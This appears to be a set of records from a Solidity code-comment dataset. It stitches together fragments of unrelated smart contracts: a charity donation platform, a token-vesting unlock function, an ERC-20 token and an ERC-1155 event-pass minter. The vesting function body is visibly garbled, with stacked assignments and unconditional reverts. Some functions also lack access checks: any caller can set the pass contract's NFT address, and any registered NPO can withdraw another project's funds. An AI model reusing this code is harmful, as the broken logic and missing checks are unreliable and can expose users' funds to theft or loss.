/// @param _postalAddress postal address of the donor
function addDonor(
address _donorErc20Address,
string memory _name,
string memory _surName,
string memory _postalAddress) public onlyOwner {
// Mandatory fields
require(_donorErc20Address > address(0), unicode"L'adresse du donateur doit être différente de zéro");
require(donorAddresses[_donorErc20Address].donorErc20Address == address(0), unicode"Donor déjà enregistré");
EthicOnChainLib.Donor storage newDonor = donorAddresses[_donorErc20Address];
newDonor.donorId = donorCount;
newDonor.name = _name;
newDonor.surName = _surName;
newDonor.donorErc20Address=_donorErc20Address;
newDonor.postalAddress = _postalAddress;
donorMap[donorCount] = _donorErc20Address;
donorCount++;
emit DonorAdded(newDonor.donorId, _donorErc20Address, _name);
}
/// @dev This function will allow to add a project, the owner will be the one who calls the function.
/// @param _title The title of the project
/// @param _description description of the project
/// @param _geographicalArea the geographical area where the project will be located.
/// @param _startDate The start date of the project
/// @param _endDate The end of the project
/// @param _campaignStartDate the beginning of the collection of funds
/// @param _campaignDurationInDays the duration of the collection of funds
/// @param _minAmount The minimum price for the project to be valid
/// @param _maxAmount The maximum price to make the project a success
function addProject(
string memory _title,
string memory _description,
string memory _geographicalArea,
uint _startDate,
uint _endDate,
uint _campaignStartDate,
uint _campaignDurationInDays,
uint _minAmount,
uint _maxAmount
) public {
EthicOnChainLib.NPO storage projectNpo = npoAddresses[msg.sender];
require(bytes(projectNpo.denomination).length != 0, "NPO inconnu");
// Mandatory fields
require(bytes(_title).length > 0, "Le titre est obligatoire");
require(bytes(_description).length > 0, "La description est obligatoire");
require(_startDate > 0, unicode"Date de début de projet obligatoire");
require(_endDate > 0, "Date de fin de projet obligatoire");
require(_minAmount > 0, "Montant minimal obligatoire");
require(_maxAmount > 0, "Montant maximal obligatoire");
require(_campaignStartDate > 0, unicode"Date de début de campagne obligatoire");
require(_campaignDurationInDays > 0, unicode"Durée de campagne obligatoire");
// Comparisons
require(_startDate < _endDate, unicode"La date début de projet doit être avant la fin");
require(_minAmount < _maxAmount, unicode"Le montant minimal doit être inférieur au montant maximal");
EthicOnChainLib.Project storage newProject = projectMap[projectCount];
newProject.projectId = projectCount;
newProject.npoErc20Address = msg.sender;
newProject.title = _title;
// TODO = voir comment gérer le Project Cause en fonction de son enum
newProject.description = _description;
newProject.geographicalArea = _geographicalArea;
newProject.startDate = _startDate;
newProject.endDate = _endDate;
newProject.campaignStartDate = _campaignStartDate;
newProject.campaignDurationInDays = _campaignDurationInDays;
newProject.minAmount = _minAmount;
newProject.maxAmount = _maxAmount;
projectNpo.projectIds.push(projectCount);
projectCount++;
emit ProjectAdded(newProject.projectId, _title, _startDate, _endDate, _minAmount, _maxAmount);
}
/// @dev Add a Donation struct in global donationMap
/// @param _projectId id of the project for which the donation is done
/// @param _donationAmount amount of the donation in EOC tokens
function addDonation(uint _projectId, uint _donationAmount) public {
EthicOnChainLib.Donor storage donationDonor = donorAddresses[msg.sender];
require(donationDonor.donorErc20Address != address(0), "Donateur inconnu"); // concept de KYC
EthicOnChainLib.Project storage donationProject = projectMap[_projectId];
require(bytes(donationProject.title).length != 0, "Projet inconnu");
// donation possible seulement si dans période de campagne
uint campaignEndDate = donationProject.campaignStartDate + donationProject.campaignDurationInDays * 1 days;
require(block.timestamp > donationProject.campaignStartDate, unicode"La campagne n'est pas commencée");
require(block.timestamp < campaignEndDate, unicode"La campagne est terminée");
EthicOnChainLib.Donation storage newDonation = donationMap[donationCount];
newDonation.donationId = donationCount;
newDonation.projectId = _projectId;
newDonation.donorId = donationDonor.donorId;
newDonation.donationDate = block.timestamp;
newDonation.donationAmount = _donationAmount;
donationDonor.donationIds.push(donationCount); // mise à jour de l'historique des donations pour le donateur
donationProject.projectBalance += _donationAmount; // mise à jour de la balance du projet
donationProject.projectTotalDonations += _donationAmount; // et du total des donations
donationProject.donationIds.push(donationCount); // mise à jour de l'historique des donations pour le projet
donationCount++;
// transfert de la donation du donateur vers le contrat
// le donateur devra avoir préalablement approuvé (fonction approve du token - un minimum = le montant à transférer)
// le contrat à transférer les tokens de l'addresse du donateur vers l'adresse du contrat
if(IERC20(eocTokenAddress).transferFrom(msg.sender, address(this), _donationAmount)){
//TODO PLUS TARD creation d'un escrow contract pour ne pas verser tous les tokens dans le même contrat général
emit DonationAdded(newDonation.donationId, newDonation.projectId, newDonation.donorId, newDonation.donationDate, newDonation.donationAmount);
}
}
/// @dev Allows an NPO to withdraw funds from a project
/// @param _projectId project id
/// @param _amount Amount of withdrawal
/// @param _title title of the withdrawal
/// @param _description description of the withdrawal
function withdrawTokens (uint _projectId, uint _amount,string memory _title,string memory _description) public {
EthicOnChainLib.NPO storage withdrawalNpo = npoAddresses[msg.sender];
require(bytes(npoAddresses[msg.sender].denomination).length != 0, "NPO inconnu");
require(bytes(projectMap[_projectId].title).length != 0, "Projet inconnu");
require(block.timestamp > projectMap[_projectId].campaignStartDate, unicode"La campagne n'est pas commencée");
uint256 balance = projectMap[_projectId].projectBalance;
require(balance >= _amount, "Balance insuffisante");
EthicOnChainLib.Withdrawal storage newWithdrawal = withdrawalMap[withdrawalCount];
newWithdrawal.withdrawalId = withdrawalCount;
newWithdrawal.projectId = _projectId;
newWithdrawal.title = _title;
newWithdrawal.amount = _amount;
newWithdrawal.withdrawalDate = block.timestamp;
newWithdrawal.description = _description;
withdrawalNpo.withdrawalIds.push(withdrawalCount); // mise à jour de l'historique des retraits pour le NPO
projectMap[_projectId].projectBalance -= _amount; // mise à jour de la balance du projet
projectMap[_projectId].withdrawalIds.push(withdrawalCount); // mise à jour de l'historique des retraits pour le projet
withdrawalCount++;
if(IERC20(eocTokenAddress).transfer(msg.sender,_amount)){
emit TokensWithdrawn(newWithdrawal.withdrawalId,newWithdrawal.projectId,newWithdrawal.amount,msg.sender);
}
}
/// @dev get an NPO via its erc20 address
/// @param _npoErc20Address erc20 address of the NPO
/// @return returns the corresponding NPO struct
function getNpo(address _npoErc20Address) public view returns(EthicOnChainLib.NPO memory) {
return EthicOnChainLib.libGetNpo(npoAddresses, _npoErc20Address);
}
/// @dev get an NPO via its id
/// @param _npoId id of the NPO
/// @return returns the corresponding NPO struct
function getNpoByIndex(uint _npoId) internal view returns(EthicOnChainLib.NPO memory) {
return EthicOnChainLib.libGetNpoByIndex(npoAddresses, npoMap, _npoId);
}
/// @dev get all NPOs
/// @return returns an array of all NPOs
function getNpos() public view returns(EthicOnChainLib.NPO [] memory) {
return EthicOnChainLib.libGetNpos(npoAddresses, npoMap, npoCount);
}
/// @dev get a Donor via its erc20 address
/// @param _donorErc20Address erc20 address of the Donor
/// @return returns the corresponding Donor struct
function getDonor(address _donorErc20Address) public view returns(EthicOnChainLib.Donor memory) {
return EthicOnChainLib.libGetDonor(donorAddresses, _donorErc20Address);
}
/// @dev get a Donor via its id
/// @param _donorId id of the Donor
/// @return returns the corresponding Donor struct
function getDonorByIndex(uint _donorId) internal view returns(EthicOnChainLib.Donor memory) {
return EthicOnChainLib.libGetDonorByIndex(donorAddresses, donorMap, _donorId);
}
/// @dev get all Donors
/// @return returns an array of all Donors
function getDonors() public view returns(EthicOnChainLib.Donor [] memory) {
return EthicOnChainLib.libGetDonors(donorAddresses, donorMap, donorCount);
}
/// @dev Returns a single Project
/// @param _projectId project unique id
/// @return the Project struct instance corresponding to _projectId
function getProject(uint _projectId) public view returns(EthicOnChainLib.Project memory) {
return EthicOnChainLib.libGetProject(projectMap, _projectId);
}
/// @dev get all projects
/// @return returns an array of all Project
function getProjects() public view returns(EthicOnChainLib.Project [] memory) {
return EthicOnChainLib.libGetProjects(projectMap, projectCount);
}
/// @dev Allows to know all the projects of an NPO
/// @param _addressNpo ERC20 address of the NPO
/// @return Returns an array of projects
function getProjectsPerNpo(address _addressNpo) public view returns(EthicOnChainLib.Project [] memory ) {
return EthicOnChainLib.libGetProjectsPerNpo(npoAddresses, projectMap, _addressNpo);
}
/// @dev get Donation by id
/// param _id index pour retrouver la donation a retourner
/// @return a struct donation
function getDonation(uint _id) public view returns(EthicOnChainLib.Donation memory) {
return EthicOnChainLib.libGetDonation(donationMap, _id);
}
/// @dev Allows to know all the donations of a single donor
/// @param _donorAddress id which represents the index
/// @return Returns an array of all donation of a single donor
function getDonationPerDonor(address _donorAddress) public view returns(EthicOnChainLib.Donation [] memory ) {
return EthicOnChainLib.libGetDonationPerDonor(donorAddresses, donationMap, _donorAddress);
}
/// @dev list all the donations made in the contract, whatever the Donor and the NPO
/// @return Returns an array of all donation of a single donor
function getDonations() public view returns(EthicOnChainLib.Donation [] memory ) {
return EthicOnChainLib.libGetDonations(donationMap, donationCount);
}
/// @dev get Withdrawal by id
/// param _id index pour retrouver le withdrawal a retourner
/// @return a struct retait
function getWithdrawal(uint _id) public view returns(EthicOnChainLib.Withdrawal memory) {
return EthicOnChainLib.libGetWithdrawal(withdrawalMap, _id);
}
/// @dev Allows to know all the donations of a single donor
/// @param _addressNpo id which represents the index
/// @return Returns an array of all donation of a single donor
function getWithdrawalPerNpo(address _addressNpo) public view returns(EthicOnChainLib.Withdrawal [] memory ) {
return EthicOnChainLib.libGetWithdrawalPerNpo(npoAddresses, withdrawalMap, _addressNpo);
}
}
|
mise à jour de l'historique des retraits pour le NPO
|
withdrawalNpo.withdrawalIds.push(withdrawalCount);
| 1,022,493
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./full_match/11155111/0xcF0a170690b598c515A39590cC9fd1eb51Fcb09f/sources/project_/contracts/ClipzoToken.sol
|
定义unlockTokens函数，用于释放特定账户的代币 只有列出的账户才能发送消息，否则会返回 "Invalid account" 错误 获取当前年份和月份 获取最后解锁时间的年份和月份 要求当前年份大于最后解锁的年份，或者如果年份相同，月份不同。这样保证只能每月解锁一次 更新最后解锁时间为当前时间 根据您的解锁规则计算解锁的代币数量
|
function unlockTokens(uint256 customTimestamp) public {
require(msg.sender == privateSaleAccount || msg.sender == seedRoundAccount || msg.sender == teamAccount || msg.sender == advisorsAccount || msg.sender == ecosystemAccount || msg.sender == watchToEarnAccount, "Invalid account");
uint256 currentYear = DateTime.getYear(customTimestamp);
uint256 currentMonth = DateTime.getMonth(customTimestamp);
uint256 lastYear = DateTime.getYear(lastUnlockTimestamp[msg.sender]);
uint256 lastMonth = DateTime.getMonth(lastUnlockTimestamp[msg.sender]);
require(currentYear > lastYear || (currentYear == lastYear && currentMonth != lastMonth), "Unlock once per month");
lastUnlockTimestamp[msg.sender] = customTimestamp;
uint256 unlockedTokens = 0;
if (msg.sender == privateSaleAccount) {
if (customTimestamp >= privateSaleUnlockSchedule.start && customTimestamp < privateSaleUnlockSchedule.subsequentPeriod) {
unlockedTokens = totalSupply.mul(privateSaleUnlockSchedule.initialRate).div(10000);
unlockedTokens = totalSupply.mul(privateSaleUnlockSchedule.subsequentRate).div(10000);
unlockedTokens = 0;
revert("All locks have been fully released");
revert("Invalid unlock timestamp");
}
if (customTimestamp >= seedRoundUnlockSchedule.start && customTimestamp < seedRoundUnlockSchedule.end) {
unlockedTokens = totalSupply.mul(seedRoundUnlockSchedule.unlockRatio).div(10000);
unlockedTokens = 0;
revert("All locks have been fully released");
revert("Invalid unlock timestamp");
}
if (customTimestamp >= teamUnlockSchedule.start && customTimestamp < teamUnlockSchedule.end) {
unlockedTokens = totalSupply.mul(teamUnlockSchedule.initialRate).div(10000);
unlockedTokens = 0;
revert("All locks have been fully released");
revert("Invalid unlock timestamp");
}
if (customTimestamp >= advisorsUnlockSchedule.start && customTimestamp < advisorsUnlockSchedule.end) {
unlockedTokens = totalSupply.mul(advisorsUnlockSchedule.initialRate).div(10000);
unlockedTokens = 0;
revert("All locks have been fully released");
revert("Invalid unlock timestamp");
}
if (customTimestamp >= ecosystemUnlockSchedule.start && customTimestamp < ecosystemUnlockSchedule.subsequentPeriod) {
unlockedTokens = totalSupply.mul(ecosystemUnlockSchedule.initialRate).div(10000);
unlockedTokens = totalSupply.mul(ecosystemUnlockSchedule.subsequentRate).div(10000);
unlockedTokens = totalSupply.mul(ecosystemUnlockSchedule.finalRate).div(10000);
unlockedTokens = 0;
revert("All locks have been fully released");
revert("Invalid unlock timestamp");
}
if (customTimestamp >= watchToEarnUnlockSchedule.start && customTimestamp < watchToEarnUnlockSchedule.subsequentPeriod) {
unlockedTokens = totalSupply.mul(watchToEarnUnlockSchedule.initialRate).div(10000);
unlockedTokens = totalSupply.mul(watchToEarnUnlockSchedule.subsequentRate).div(10000);
unlockedTokens = totalSupply.mul(watchToEarnUnlockSchedule.finalRate).div(10000);
unlockedTokens = 0;
revert("All locks have been fully released");
revert("Invalid unlock timestamp");
}
}
balances[msg.sender] = balances[msg.sender].add(unlockedTokens);
emit Transfer(address(0), msg.sender, unlockedTokens);
}
event Approval(
address indexed _owner,
address indexed _spender,
uint256 _value
| 3,832,540
|
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./partial_match/1/0xF7f8F82cDcd4D1F8E0d467e60085E20d1cC54189/sources/Dollars.sol
|
1 if true, 0 if false
|
bool public lastRebaseNeutral;
| 3,996,160
|
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pragma solidity 0.4.24;
/**
* @title Circa Token Contract
* @dev Circa is an ERC-20 Standar Compliant Token
* @author Fares A. Akel C. f.antonio.akel@gmail.com
*/
/**
* @title SafeMath by OpenZeppelin (partially)
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Admin parameters
* @dev Define administration parameters for this contract
*/
contract admined { //This token contract is administered
address public admin; //Admin address is public
address public allowedAddress; //An allowed address
bool public lockSupply; //Burn Lock flag
bool public lockTransfer = true; //Global transfers flag
/**
* @dev Contract constructor
* define initial administrator
*/
constructor() internal {
admin = 0xEFfea09df22E0B25655BD3f23D9B531ba47d2A8B; //Set initial admin
emit Admined(admin);
}
modifier onlyAdmin() { //A modifier to define admin-only functions
require(msg.sender == admin);
_;
}
modifier onlyAllowed() { //A modifier to let allowedAddress work
require(msg.sender == allowedAddress || msg.sender == admin || lockTransfer == false);
_;
}
modifier supplyLock() { //A modifier to lock burn transactions
require(lockSupply == false);
_;
}
/**
* @dev Function to set new admin address
* @param _newAdmin The address to transfer administration to
*/
function transferAdminship(address _newAdmin) onlyAdmin public { //Admin can be transfered
require(_newAdmin != 0);
admin = _newAdmin;
emit TransferAdminship(admin);
}
/**
* @dev Function to set new allowed address
* @param _newAllowed The address to transfer rights to
*/
function setAllowed(address _newAllowed) onlyAdmin public { //Admin can be transfered
allowedAddress = _newAllowed;
emit SetAllowedAddress(allowedAddress);
}
/**
* @dev Function to set burn lock
* This function will be used after the burn process finish
*/
function setSupplyLock(bool _flag) onlyAdmin public { //Only the admin can set a lock on supply
lockSupply = _flag;
emit SetSupplyLock(lockSupply);
}
/**
* @dev Function to set transfer lock
*/
function setTransferLock(bool _flag) onlyAdmin public { //Only the admin can set a lock on transfers
lockTransfer = _flag;
emit SetTransferLock(lockTransfer);
}
//All admin actions have a log for public review
event SetSupplyLock(bool _set);
event SetTransferLock(bool _set);
event SetAllowedAddress(address newAllowed);
event TransferAdminship(address newAdminister);
event Admined(address administer);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title ERC20Token
* @notice Token definition contract
*/
contract ERC20Token is admined, ERC20 { //Standar definition of an ERC20Token
using SafeMath for uint256; //SafeMath is used for uint256 operations
mapping (address => uint256) internal balances; //A mapping of all balances per address
mapping (address => mapping (address => uint256)) internal allowed; //A mapping of all allowances
uint256 internal totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @notice Get the balance of an _who address.
* @param _who The address to be query.
*/
function balanceOf(address _who) public view returns (uint256) {
return balances[_who];
}
/**
* @notice transfer _value tokens to address _to
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
* @return success with boolean value true if done
*/
function transfer(address _to, uint256 _value) onlyAllowed() public returns (bool) {
require(_to != address(0)); //Invalid transfer
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @notice Get the allowance of an specified address to use another address balance.
* @param _owner The address of the owner of the tokens.
* @param _spender The address of the allowed spender.
* @return remaining with the allowance value
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @notice Transfer _value tokens from address _from to address _to using allowance msg.sender allowance on _from
* @param _from The address where tokens comes.
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
* @return success with boolean value true if done
*/
function transferFrom(address _from, address _to, uint256 _value) onlyAllowed() public returns (bool) {
require(_to != address(0)); //Invalid transfer
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @notice Assign allowance _value to _spender address to use the msg.sender balance
* @param _spender The address to be allowed to spend.
* @param _value The amount to be allowed.
* @return success with boolean value true
*/
function approve(address _spender, uint256 _value) public returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0)); //exploit mitigation
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Burn token of an specified address.
* @param _burnedAmount amount to burn.
*/
function burnToken(uint256 _burnedAmount) supplyLock() onlyAllowed() public returns (bool){
balances[msg.sender] = SafeMath.sub(balances[msg.sender], _burnedAmount);
totalSupply_ = SafeMath.sub(totalSupply_, _burnedAmount);
emit Burned(msg.sender, _burnedAmount);
return true;
}
event Burned(address indexed _target, uint256 _value);
}
/**
* @title AssetCirca
* @notice Circa Token creation.
* @dev ERC20 Token compliant
*/
contract AssetCirca is ERC20Token {
string public name = 'Circa';
uint8 public decimals = 18;
string public symbol = 'CIR';
string public version = '1';
/**
* @notice token contructor.
*/
constructor() public {
totalSupply_ = 1000000000 * 10 ** uint256(decimals); //Initial tokens supply 1,000,000,000;
//Writer's equity
balances[0xEB53AD38f0C37C0162E3D1D4666e63a55EfFC65f] = totalSupply_ / 1000; //0.1%
balances[0xEFfea09df22E0B25655BD3f23D9B531ba47d2A8B] = totalSupply_.sub(balances[0xEB53AD38f0C37C0162E3D1D4666e63a55EfFC65f]); //99.9%
emit Transfer(0, this, totalSupply_);
emit Transfer(this, 0xEB53AD38f0C37C0162E3D1D4666e63a55EfFC65f, balances[0xEB53AD38f0C37C0162E3D1D4666e63a55EfFC65f]);
emit Transfer(this, 0xEFfea09df22E0B25655BD3f23D9B531ba47d2A8B, balances[0xEFfea09df22E0B25655BD3f23D9B531ba47d2A8B]);
}
/**
* @notice this contract will revert on direct non-function calls, also it's not payable
* @dev Function to handle callback calls to contract
*/
function() public {
revert();
}
}
|
Admin can be transfered
|
function setAllowed(address _newAllowed) onlyAdmin public {
| 14,417,294
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] |
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.22 <0.9.0;
// Afterparty Pass allows you to attend Afterparty Music Festivals.
// Truffle imports
//import "../openzeppelin-contracts/contracts/token/ERC1155/presets/ERC1155PresetMinterPauser.sol";
//import "../openzeppelin-contracts/contracts/utils/math/SafeMath.sol";
//import "../openzeppelin-contracts/contracts/access/AccessControlEnumerable.sol";
// Remix imports
import "@openzeppelin/contracts/token/ERC1155/presets/ERC1155PresetMinterPauser.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/access/AccessControlEnumerable.sol";
// Audits
// Last passed audits
// Mythrill: 5, 2/22/2022
// MythX:
// Optilistic :
contract AfterpartyPass is ERC1155PresetMinterPauser {
using SafeMath for uint256;
using SafeMath for uint16;
using SafeMath for uint;
/***********************************|
| Structs |
|__________________________________*/
struct WhitelistAddresses {
mapping(address => uint256) whitelist;
}
struct Collection {
bytes32 name; // short name (up to 32 bytes)
uint16 collectionType;
string uri;
uint cost;
bool mintPassOpenToPublic;
bool mintNftOpenToPublic;
uint256 totalMintCount;
uint256 remaingMintCount;
uint16 artistPayablePercent;
address artistPayableAddress;
address nftContractAddress;
// NOTE: in whitelist mappings, uint = remaining_mint_count
mapping(address => uint) whitelistPass;
mapping(address => uint) whitelistNft;
}
struct Pass {
uint256 collectionId;
uint sale_price;
}
/***********************************|
| Variables and Constants |
|__________________________________*/
bytes32 public constant EVENT_MANAGER_ROLE = keccak256("EVENT_MANAGER_ROLE");
string public name;
string public symbol;
address public nftContractAddress;
uint256 public numCollections;
mapping (uint256 => Collection) public collections;
uint16 public build = 16;
uint256 public tokenCount = 0;
// For Minting and Burning, locks the functions
bool private _enabled = true;
// For metadata (scripts), when locked, cannot be changed
bool private _locked = false;
bytes4 constant public ERC1155_ACCEPTED = 0xf23a6e61;
address payable public contract_owner;
mapping(uint256 => address) public tokenToAddress;
Pass[] public passes;
/***********************************|
| Events |
|__________________________________*/
/**
* @dev Emitted when an original NFT with a new seed is minted
*/
event evtPassMinted(address _seller, address _buyer, uint256 _price);
event evtMintFromPass(bool success, bytes data, uint _id);
event evtPassMintedBatch(address _seller, address _buyer, bytes data, uint count);
/***********************************|
| Errors |
|__________________________________*/
error errNftMintFailed(bytes data);
/***********************************|
| Modifiers |
|__________________________________*/
modifier onlyWhenEnabled() {
require(_enabled, "Contract is disabled");
_;
}
modifier onlyWhenDisabled() {
require(!_enabled, "Contract is enabled");
_;
}
modifier onlyUnlocked() {
require(!_locked, "Contract is locked");
_;
}
modifier ownerorWhitelistOnly() {
require(contract_owner == msg.sender);
_;
}
/***********************************|
| MAIN CONSTRUCTOR |
|__________________________________*/
constructor() ERC1155PresetMinterPauser("https://nft.afterparty.ai/nft_metadata/2/{id}.json") {
contract_owner = payable(msg.sender);
name = "Afterparty Pass";
symbol = "APP";
// TODO: For testing -- Afterparty Pass collection
//createCollection(0x4166746572706172747920506173730000000000000000000000000000000000, 1, 100, "https://nft.afterparty.ai/nft_collection_metadata/2.json", 1500, 90, contract_owner);
}
/***********************************|
| User Interactions |
|__________________________________*/
/**
* @dev Function to mint pass. Msg.value must have sufficient eth for collection item
*/
function mintPass(address _to, uint256 collectionId, bytes memory _data) public payable onlyWhenEnabled {
require(collections[collectionId].remaingMintCount > 0, "AP: No remaining passes to mint");
require(msg.value >= collections[collectionId].cost, "AP: Not enough value to mint");
require(
hasRole(MINTER_ROLE, _msgSender()) || collections[collectionId].whitelistPass[msg.sender] > 0 || collections[collectionId].mintPassOpenToPublic,
"Only contract owner or whitelist can mint."
);
// Decrement remaining available mintables
collections[collectionId].remaingMintCount--;
_mint(_to, tokenCount, 1, _data);
// Subtract from the number that can be minted from that address
if(!collections[collectionId].mintPassOpenToPublic) {
if(!hasRole(MINTER_ROLE, _msgSender())) {
collections[collectionId].whitelistPass[msg.sender]--;
}
}
// Set the ownership of this token to sender
tokenToAddress[tokenCount] = _to;
// Push associated data for mint to NFT array
passes.push(Pass({
collectionId: collectionId,
sale_price: msg.value
}));
// Split minting value
uint artistFraction = collections[collectionId].artistPayablePercent;
uint artistTotal = (collections[collectionId].cost * artistFraction) / 100;
uint apTotal = msg.value - artistTotal;
address artistAddress = collections[collectionId].artistPayableAddress;
payable(contract_owner).transfer(apTotal); // send the ETH to the Afterparty wallet
payable(artistAddress).transfer(artistTotal); // send the ETH to the Artist wallet
// Increment token count
tokenCount++;
// Emit minted event
emit evtPassMinted(contract_owner, msg.sender, msg.value);
}
function mintPassBatch(address _to, uint256 collectionId, bytes memory _data, uint count) public onlyWhenEnabled {
// TODO: Get remaining mint count function
require(collections[collectionId].remaingMintCount >= count, "AP: Not enough remaining passes to mint");
require( hasRole(MINTER_ROLE, _msgSender()), "Only minter can batch mint." );
// Decrement remaining available mintables
collections[collectionId].remaingMintCount -= count;
uint[] memory ids = new uint[](count);
uint[] memory amounts = new uint[](count);
for (uint256 i = 0; i < count; i++) {
ids[i] = tokenCount+i;
amounts[i] = 1;
tokenToAddress[tokenCount+i] = _to;
// Push associated data for mint to NFT array
passes.push(Pass({
collectionId: collectionId,
sale_price: 0
}));
}
_mintBatch(_to, ids, amounts, _data);
// Increment token count
tokenCount += count;
// Emit minted event
emit evtPassMintedBatch(_to, msg.sender, _data, count);
}
function nftUri() public pure returns (string memory) {
string memory baseMetadataURI = "https://nft.afterparty.ai/nft_metadata/2/{id}.json";
return baseMetadataURI;
}
// Check code _burn to make sure it reverts -- otherwise check for burn success
// Reentrancy Guard code to prevent -- https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/security/ReentrancyGuard.sol
function mintToNftContract(uint256 _passId) public onlyWhenEnabled {
// Check if the pass is valid
require(_passId < passes.length, "AP: Pass not found");
// Check if you own that mint pass by balance
require(balanceOf(msg.sender, _passId) > 0, "AP: Pass balance 0");
// Make sure a valid NFT contract is associated with collection
uint256 collectionId = passes[_passId].collectionId;
address callableNftContractAddress = collections[collectionId].nftContractAddress;
require(callableNftContractAddress != 0x0000000000000000000000000000000000000000, "AP: Invalid NFT contract address");
// Make sure the minter is an admin, on the whitelist, or minting is open
require(
hasRole(MINTER_ROLE, _msgSender()) || collections[collectionId].whitelistNft[msg.sender] > 0 || collections[collectionId].mintNftOpenToPublic,
"Only contract owner or whitelist can mint."
);
// Burn pass
_burn(msg.sender, _passId, 1);
// If pass is valid, mint NFT on NFT contract
(bool success, bytes memory data) = callableNftContractAddress.call(abi.encodeWithSignature("mintFromPass(address)", msg.sender));
// Verify success
if(!success) {
revert errNftMintFailed({
data: data
});
}
// Emit successful minting event
emit evtMintFromPass(success, data, _passId);
}
/***********************************|
| Admin |
|__________________________________*/
// Examples names:
// Fernickle = 0x4665726e69636b6c650000000000000000000000000000000000000000000000
// Afterparty Utopians = 0x416674657270617274792055746f7069616e7300000000000000000000000000
// Afterparty Pass = 0x4166746572706172747920506173730000000000000000000000000000000000
/**
* @dev Create a collection of mint passes
* @param _name Name of the collection
* @param _collectionType Type of collection
* @param _cost Cost per pass
* @param _uri URI of collection
* @param _remaingMintCount Number of passes remaining available to mint
* @param _artistPayablePercent Percent of collection funds that go to artist
* @param _artistPayableAddress Artist wallet that receives percentage of funds
*/
function createCollection (bytes32 _name, uint16 _collectionType, uint256 _cost, string memory _uri, uint256 _remaingMintCount, uint16 _artistPayablePercent, address _artistPayableAddress) public {
require(hasRole(MINTER_ROLE, _msgSender()), "AP: must have minter role to create collection");
Collection storage newCol = collections[numCollections++];
newCol.name = _name;
newCol.collectionType = _collectionType;
newCol.uri = _uri;
newCol.cost = _cost;
newCol.totalMintCount = _remaingMintCount;
newCol.remaingMintCount = _remaingMintCount;
newCol.mintPassOpenToPublic = false;
newCol.mintNftOpenToPublic = false;
newCol.artistPayablePercent = _artistPayablePercent;
newCol.artistPayableAddress = _artistPayableAddress;
newCol.nftContractAddress = 0x0000000000000000000000000000000000000000;
}
function addToPassWhitelist ( address to, uint256 collectionId, uint16 amount ) public {
require(hasRole(MINTER_ROLE, _msgSender()) || hasRole(EVENT_MANAGER_ROLE, _msgSender()), "AP: must have minter role to whitelist mint pass");
collections[collectionId].whitelistPass[to] = amount;
}
function addToNftWhitelist ( address to, uint256 collectionId, uint16 amount ) public {
require(hasRole(MINTER_ROLE, _msgSender()) || hasRole(EVENT_MANAGER_ROLE, _msgSender()), "AP: must have minter role to whitelist mint NFT");
collections[collectionId].whitelistNft[to] = amount;
}
/**
* @dev Function to enable/disable token minting
* @param enabled The flag to turn minting on or off
*/
function setEnabled(bool enabled) public {
require(hasRole(MINTER_ROLE, _msgSender()), "AP: must have minter role to change enable");
_enabled = enabled;
}
function setContractOwner(address newOwner) public {
require(hasRole(MINTER_ROLE, _msgSender()), "AP: must have minter role to change contract owner");
contract_owner = payable(newOwner);
}
/**
* @dev Function to lock/unlock the on-chain metadata
* @param locked The flag turn locked on
*/
function setLocked(bool locked) public onlyUnlocked {
require(
msg.sender == contract_owner,
"Only contract owner add to whitelist."
);
_locked = locked;
}
/**
* @dev Function to update the base _uri for all tokens
* @param newuri The base uri string
*/
function setURI(string memory newuri) public {
require(
msg.sender == contract_owner,
"Only contract owner add to whitelist."
);
_setURI(newuri);
}
/***********************************|
| Utility Functions |
|__________________________________*/
function mintedPassesCount() public view returns (uint256){
return passes.length;
}
function ownerOf(uint256 idx) public view returns (address) {
return tokenToAddress[idx];
}
function setNftContractAddress(address _nftAddress, uint256 collectionId) public {
require(collectionId < numCollections, "AP: Collection not found");
collections[collectionId].nftContractAddress = _nftAddress;
}
function setMintPassOpenToPublic(bool _open, uint256 collectionId) public {
require(hasRole(MINTER_ROLE, _msgSender()), "AP: Must have minter role to set MintPassOpenToPublic");
require(collectionId < numCollections, "AP: Collection not found");
collections[collectionId].mintPassOpenToPublic = _open;
}
function setMintNftOpenToPublic(bool _open, uint256 collectionId) public {
require(hasRole(MINTER_ROLE, _msgSender()), "AP: Must have minter role to set MintNftOpenToPublic");
require(collectionId < numCollections, "AP: Collection not found");
collections[collectionId].mintNftOpenToPublic = _open;
}
/***********************************|
| Nullify Functions |
|__________________________________*/
function mint(
address to,
uint256 id,
uint256 amount,
bytes memory data
) public override {
// Use mintNFT() instead
}
function mintBatch(
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) public override {
// Use mintBatchNFT() instead
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (access/AccessControlEnumerable.sol)
